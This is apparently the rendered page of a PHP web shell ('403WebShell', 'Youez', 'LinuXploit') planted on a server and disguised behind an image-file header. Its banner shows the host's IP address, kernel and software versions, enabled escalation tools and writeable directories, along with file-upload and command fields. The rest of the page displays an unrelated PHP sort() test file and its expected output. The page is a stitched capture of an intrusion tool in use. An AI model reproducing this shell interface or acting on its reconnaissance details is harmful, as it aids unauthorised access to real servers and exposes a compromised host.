????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.117.229.13
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/sort_variation2.phpt
--TEST--
Test sort() function : usage variations - unexpected values for 'sort_flags' argument
--FILE--
<?php
/* Prototype  : bool sort(array &array_arg [, int $sort_flags])
 * Description: Sort an array 
 * Source code: ext/standard/array.c
*/

/*
 * Testing sort() by providing different unexpected values for flag argument
*/

echo "*** Testing sort() : usage variations ***\n";

//get an unset variable
$unset_var = 10;
unset ($unset_var);

// resource variable
$fp = fopen(__FILE__, "r");

// temperory array for checking unexpected behavior
$unsorted_values = array(10, 2, 45);

//array of values to iterate over
$unexpected_values = array(

       // int data
/*1*/  -2345,

       // float data
/*2*/  10.5,
       -10.5,
       10.5e2,
       10.6E-2,
       .5,

       // null data
/*7*/  NULL,
       null,

       // boolean data
/*9*/  true,
       false,
       TRUE,
       FALSE,

       // empty data
/*13*/ "",
       '',

       // string data
/*15*/ "string",
       'string',

       // object data
/*16*/ new stdclass(),

       // undefined data
/*17*/ @undefined_var,

       // unset data
/*18*/ @unset_var,

       // resource variable
/*19*/ $fp

);

// loop though each element of the array and check the working of sort()
// when $flag argument is supplied with different values
echo "\n-- Testing sort() by supplying different unexpected values for 'flag' argument --\n";

$counter = 1;
for($index = 0; $index < count($unexpected_values); $index ++) {
  echo "-- Iteration $counter --\n";

  // sort the array, retain a temp. copy of input array for next iteration
  $value = $unexpected_values [$index];
  $temp_array = $unsorted_values;
  var_dump( sort($temp_array, $value) ); 
  
  //dump the sorted array
  var_dump($temp_array);
  $counter++;
}

echo "Done";
?>
--EXPECTF--
*** Testing sort() : usage variations ***

-- Testing sort() by supplying different unexpected values for 'flag' argument --
-- Iteration 1 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 2 --
bool(true)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 3 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 4 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 5 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 6 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 7 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 8 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 9 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 10 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 11 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 12 --
bool(true)
array(3) {
  [0]=>
  int(2)
  [1]=>
  int(10)
  [2]=>
  int(45)
}
-- Iteration 13 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 14 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 15 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 16 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 17 --

Warning: sort() expects parameter 2 to be long, object given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 18 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 19 --

Warning: sort() expects parameter 2 to be long, string given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
-- Iteration 20 --

Warning: sort() expects parameter 2 to be long, resource given in %s on line %d
bool(false)
array(3) {
  [0]=>
  int(10)
  [1]=>
  int(2)
  [2]=>
  int(45)
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit